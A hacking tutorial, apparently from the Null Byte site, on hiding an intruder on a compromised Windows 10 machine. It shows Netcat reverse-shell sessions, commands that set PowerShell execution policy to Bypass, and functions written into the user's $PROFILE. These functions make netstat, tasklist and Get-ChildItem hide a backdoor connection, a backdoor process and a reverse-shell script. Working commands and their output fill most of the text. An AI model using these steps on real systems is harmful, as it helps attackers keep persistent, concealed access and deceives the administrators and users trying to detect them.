Hacking Windows 10: How to Evade Detection of Netstat & Tasklist

How to Evade Detection of Netstat & Tasklist

There are countless tutorials online that show how to use Netstat and Tasklist to find an intruder on your computer. But with a few PowerShell functions, it's possible for a hacker to evade detection from the almighty command line.

Before we dive into the technical sections, have a look at the following GIF. The attacker has manipulated the PowerShell session in a way that's transparent to the target user.

The netstat.exe command identifies an outgoing connection on TCP/4444. This is possibly an intruder as the port is common with default Meterpreter configurations. However, in the second netstat command, notice that the attacker's connection has disappeared? What's more unusual is that the ipconfig output doesn't print any IP addresses at all.

The commands executed in the GIF are, in fact, PowerShell functions. In the case of netstat, it's designed to emulate an actual Netstat command while omitting the attacker's location.

As defined by the MITRE ATT&CK framework:

Event-Triggered Execution: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts. ...

The attack takes advantage of PowerShell configuration files (discussed in a later section) and is trivial to perform with low user privileges.

When to Perform This Evasion Technique?

The use-cases for this attack are a bit niche as it targets PowerShell-savvy users, as well as those trying to identify a hacked computer via command line.

From a compromised (Netcat) host, view the user's activity with the Get-Process command to examine running PowerShell processes. Filter the output of processes with findstr.

~$ nc -l -p 4444

listening on [any] 4444 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.39] 51908

PS Z:\> Get-Process | findstr /i powershell

   523      28    63344      73552       1.84   2888   1 powershell
   576      29    62332      84624       1.80   3092   1 powershell
   563      30    59100      73624       1.77   6804   1 powershell
   555      31    63396      87908       1.27   6816   1 powershell
   754      51   125612     164444       2.59   3452   1 powershell_ise

Notice several open PowerShell terminals, as well as the PowerShell ISE application. That's some indication that the target is comfortable at a terminal and a candidate for this attack. Alternatively, administrators may try to remotely detect attackers on the workstation with Netstat and other command-line tools. In that scenario, this evasion will work as well.

Identify the Execution Policy

The "Execution Policy" will ultimately determine whether this attack is viable. Use the Get-ExecutionPolicy -List command to view the current policies.

PS Z:\> Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process          Bypass
  CurrentUser       Undefined
 LocalMachine       Undefined

If the connection to the compromised device uses a PowerShell one-liner, the output may appear as shown above. Generally, "Undefined" policies complicate things for an intruder, as it means PowerShell scripts won't execute by default. And, therefore, this attack wouldn't work. The Process defined as "Bypass" is a result of how the reverse shell executes. Changing the Process policy won't help us in any way.

However, it's common for users to modify the CurrentUser and LocalMachine policies to allow PowerShell script executions. Similarly, sysadmin's will sometimes set global Bypass policies for all employees. Permissive policies like RemoteSigned, Unrestricted, or Bypass make this attack possible.

PS Z:\> Get-ExecutionPolicy -list

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process          Bypass
  CurrentUser       Undefined
 LocalMachine    RemoteSigned

In a Windows domain setting, the UserPolicy and MachinePolicy would take precedence over a CurrentUser policy. A RemoteSigned policy would override any CurrentUser or LocalMachine policies.

PS Z:\> Get-ExecutionPolicy -list

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy    RemoteSigned
      Process          Bypass
  CurrentUser      Restricted
 LocalMachine       Undefined

With a backdoor leveraging Administrator privileges, the policy is easily modified and probably won't be an issue. Change the CurrentUser policy with the Set-ExecutionPolicy command.

PS Z:\> Set-ExecutionPolicy -ExecutionPolicy bypass -scope CurrentUser -force;Get-ExecutionPolicy -list

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy    RemoteSigned
      Process          Bypass
  CurrentUser          Bypass
 LocalMachine       Undefined

Perform the command again, adjusting the -scope to LocalMachine to change that policy as well.

PS Z:\> Set-ExecutionPolicy -ExecutionPolicy bypass -scope LocalMachine -force;Get-ExecutionPolicy -list

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy    RemoteSigned
      Process          Bypass
  CurrentUser          Bypass
 LocalMachine          Bypass

If all of the policies are Undefined, and you don't have Administrator privileges, this evasion method won't be possible.

For an in-depth explanation of the different policies and their effects on the operating system, be sure to review the official documentation. Let's talk about PowerShell profiles now that we're sure script executions are possible.

PowerShell Profiles

PowerShell profiles are scripts that execute when a new PowerShell session starts. That includes PowerShell ISE sessions. For readers familiar with .bashrc and .bash_aliases in GNU/Linux, PowerShell profiles are the same concept. The profiles are a convenient way for power users and developers to automatically load custom functions, variables, and modules with every terminal that's opened.

There are several profile locations. Use the following command to view them.

PS Z:\> $PROFILE | Select *

AllUsersAllHosts       : C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
AllUsersCurrentHost    : C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
CurrentUserAllHosts    : C:\Users\user\Documents\WindowsPowerShell\profile.ps1
CurrentUserCurrentHost : C:\Users\user\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
Length                 : 76

Use $PROFILE to view the profile utilized by the session.

PS Z:\> $PROFILE

 C:\Users\user\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

View the contents of the file with the Get-Content command.

PS Z:\> Get-Content $PROFILE

There are two possible outcomes here.

  1. The file contains PowerShell already: A file populated with PowerShell scripts indicates the target user operates in a terminal often. There are pros and cons to this. Modifying the file may alert the target user to the activity. On the other hand, some power users make changes to their configuration files infrequently. There's no way to know for sure.
  2. The file or directory doesn't exist: If the directory doesn't exist, create it as a hidden folder to help prevent detection.
PS Z:\> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"

   Directory: C:\Users\cyber\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        8/16/2020   1:18 AM                WindowsPowerShell

If the .ps1 file doesn't exist, create it. As a test, let's use an arbitrary echo command.

PS Z:\> echo "echo 'https://twitter.com/tokyoneon_'" > $PROFILE

Until now, we've been operating from a Netcat shell. Let's cheat for a moment and open a PowerShell window on the compromised host.

The echo command automatically executes when opening new PowerShell windows. An attacker will abuse this feature to embed nefarious functions into every PowerShell session.

PowerShell Functions

Let's get to the fun stuff and create some functions to hide our presence on the operating system.

A proper PowerShell function should include input validation and document tags to display a help menu. The goal is to go unnoticed on the system, so this example will use the bare minimum syntax that doesn't include any of that.

function command { command.exe $args }

1. Evade Netstat

For example, with Netstat, the function might appear as below. The $args variable is important and responsible for processing the target's arguments, for example, -nao. It's also vital to append the .exe to the command inside the brackets. Otherwise, the function will infinitely call itself and never produce a valid or expected output.

function netstat { netstat.exe $args }

Open a PowerShell window and use the netstat -nao command to view a list of network connections.

PS> netstat -nao

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       904
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       4224
  TCP    127.0.0.1:5354         127.0.0.1:49669        ESTABLISHED     2468
  TCP    127.0.0.1:5354         127.0.0.1:49671        ESTABLISHED     2468
  TCP    127.0.0.1:27015        0.0.0.0:0              LISTENING       2460
  TCP    127.0.0.1:27015        127.0.0.1:49672        ESTABLISHED     2460
  TCP    127.0.0.1:49669        127.0.0.1:5354         ESTABLISHED     2460
  TCP    127.0.0.1:49671        127.0.0.1:5354         ESTABLISHED     2460
  TCP    127.0.0.1:49672        127.0.0.1:27015        ESTABLISHED     7140
  TCP    192.168.56.39:139      0.0.0.0:0              LISTENING       4
  TCP    192.168.56.39:60678    192.168.56.101:4444    ESTABLISHED     2888
  TCP    192.168.57.5:139       0.0.0.0:0              LISTENING       4
  UDP    0.0.0.0:123            *:*                                    3144
  UDP    0.0.0.0:5050           *:*                                    4224
  UDP    0.0.0.0:5353           *:*                                    1980
  UDP    0.0.0.0:5355           *:*                                    1980
  UDP    0.0.0.0:64787          *:*                                    2468
  UDP    192.168.56.39:137      *:*                                    4
  UDP    192.168.56.39:138      *:*                                    4
  UDP    192.168.56.39:1900     *:*                                    1208
  UDP    192.168.56.39:5353     *:*                                    2468
  UDP    192.168.56.39:56492    *:*                                    1208
  UDP    192.168.57.5:137       *:*                                    4
  UDP    192.168.57.5:138       *:*                                    4
  UDP    192.168.57.5:1900      *:*                                    1208
  UDP    192.168.57.5:5353      *:*                                    2468
  UDP    192.168.57.5:56491     *:*                                    1208

Notice the established TCP connection to 192.168.56.101:4444. That's my Netcat session. Now, let's make it disappear. From the Netcat shell, use the following command to override the $PROFILE.

PS Z:\> echo 'function netstat { netstat.exe $args | Select-String -notmatch "4444" }' > $PROFILE

The Select-String filter is appended transparently to the user's Netstat command and omits lines containing "4444."

When using "netstat," the function will operate as expected. However, PowerShell will ignore it entirely if called with "netstat.exe." A simple solution to this is to create two functions, one called "netstat" and the other "netstat.exe." Also, use PowerShell to call the real Netstat to ensure there are no infinite function loops. Note the single arrow (>); it will delete the contents of the current profile.

PS Z:\> echo 'function netstat { powershell.exe -NoProfile -Command "netstat.exe $args" | Select-String -notmatch "4444" }' > $PROFILE

Next, perform the command again, but name the function "netstat.exe" and use double arrows (>>) to append it to the profile.

PS Z:\> echo 'function netstat.exe { powershell.exe -NoProfile -Command "netstat.exe $args" | Select-String -notmatch "4444" }' >> $PROFILE

Remember to open a new PowerShell window for the updated profile to take effect. With this configuration, both netstat and netstat.exe will exclude lines using port 4444.

2. Evade Tasklist

Hiding executables from the Tasklist is accomplished the same way. Observe the "backdoor.exe" process running in the background.

PS Z:\> tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        568 K
Registry                        68 Services                   0     72,020 K
smss.exe                       372 Services                   0      1,172 K
csrss.exe                      456 Services                   0      5,468 K
wininit.exe                    524 Services                   0      6,796 K
csrss.exe                      532 Console                    1      5,060 K
backdoor.exe                   592 Console                    1     11,932 K
services.exe                   616 Services                   0      9,132 K
lsass.exe                      624 Services                   0     14,080 K
fontdrvhost.exe                728 Console                    1      5,252 K
fontdrvhost.exe                736 Services                   0      3,708 K
svchost.exe                    752 Services                   0      3,952 K
svchost.exe                    816 Services                   0     29,184 K

To exclude an arbitrary filename from the list of running processes, use the following command to create a "tasklist" function.

PS Z:\> echo 'function tasklist { powershell.exe -NoProfile -c "tasklist.exe $args" | Select-String -notmatch "backdoor" }' >> $PROFILE

And create another function called "tasklist.exe" in case PowerShell ignores the previous one.

PS Z:\> echo 'function tasklist.exe { powershell.exe -NoProfile -c "tasklist.exe $args" | Select-String -notmatch "backdoor" }' >> $PROFILE

As we can see, the process no longer appears in the output.

PS Z:\> tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        568 K
Registry                        68 Services                   0     72,020 K
smss.exe                       372 Services                   0      1,172 K
csrss.exe                      456 Services                   0      5,468 K
wininit.exe                    524 Services                   0      6,796 K
csrss.exe                      532 Console                    1      5,060 K
services.exe                   616 Services                   0      9,132 K
lsass.exe                      624 Services                   0     14,080 K
fontdrvhost.exe                728 Console                    1      5,252 K
fontdrvhost.exe                736 Services                   0      3,708 K
svchost.exe                    752 Services                   0      3,952 K
svchost.exe                    816 Services                   0     29,184 K

3. Evade Get-ChildItem (ls)

As a final example, let's hide files from ls and PowerShell's Get-ChildItem cmdlet. In the Windows 10 temp folder, there's a "tokyoneon.ps1" script containing malicious code.

PS Z:\> ls $env:temp

    Directory: C:\Users\user\AppData\Local\Temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/14/2020  11:39 AM                7zSC5D4BCA6
d-----          7/8/2020  12:13 AM                Low
d-----         8/14/2020  11:39 AM                nseD5A3.tmp
d-----         8/14/2020  11:39 AM                nsrDCE6.tmp
d-----         8/14/2020   3:04 PM                WinSAT
d-----         8/16/2020  12:56 AM                WPF
-a----         8/15/2020  10:29 PM              0 aria-debug-3104.log
-a----         8/15/2020   1:00 PM           4244 tokyoneon.ps1
-a----         8/14/2020  11:53 AM           4685 StructuredQuery.log
-a----         8/14/2020  11:58 AM         453023 tmpaddon
-a----         8/14/2020  12:10 PM        5097580 tmpaddon-1dba92
-a----         8/14/2020  12:10 PM         453023 tmpaddon-3b3c97
-a----         8/14/2020  11:58 AM        5097580 tmpaddon-b7d0b2

The file contains a reverse shell used to access to the OS. Exclude it from Get-ChildItem results with the following function.

PS Z:\> echo 'function Get-ChildItem { powershell.exe -NoProfile -c "get-childitem $args" | Select-String -notmatch "tokyoneon" }' >> $PROFILE

Aliased to ls, dir, and gci, the nefarious "Get-ChildItem" function will replace all of the commands in a PowerShell terminal. As shown below, the "tokyoneon.ps1" script no longer appears in the dir output.

PS Z:\> dir

    Directory: C:\Users\user\AppData\Local\Temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/14/2020  11:39 AM                7zSC5D4BCA6
d-----          7/8/2020  12:13 AM                Low
d-----         8/14/2020  11:39 AM                nseD5A3.tmp
d-----         8/14/2020  11:39 AM                nsrDCE6.tmp
d-----         8/14/2020   3:04 PM                WinSAT
d-----         8/16/2020  12:56 AM                WPF
-a----         8/15/2020  10:29 PM            470 aria-debug-3104.log
-a----         8/14/2020  11:53 AM           4685 StructuredQuery.log
-a----         8/14/2020  11:58 AM         453023 tmpaddon
-a----         8/14/2020  12:10 PM        5097580 tmpaddon-1dba92
-a----         8/14/2020  12:10 PM         453023 tmpaddon-3b3c97
-a----         8/14/2020  11:58 AM        5097580 tmpaddon-b7d0b2

We've only scratched the surface with this kind of attack. It would be possible to omit a hidden Administrator account from commands like net and persistent backdoors from schtasks. Uploaded to my GitHub are several evasion functions for Get-EventLog, Get-Process, Ps, and Wmic, but the ways sophisticated functions can conceal an intruder are many.

Follow me on Twitter @tokyoneon_ and GitHub to keep up with my current projects. For questions and concerns, leave a comment or message me on Twitter.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover photo, screenshot, and GIF by tokyoneon/Null Byte

1 Comment

thanks

Share Your Thoughts

  • Hot
  • Latest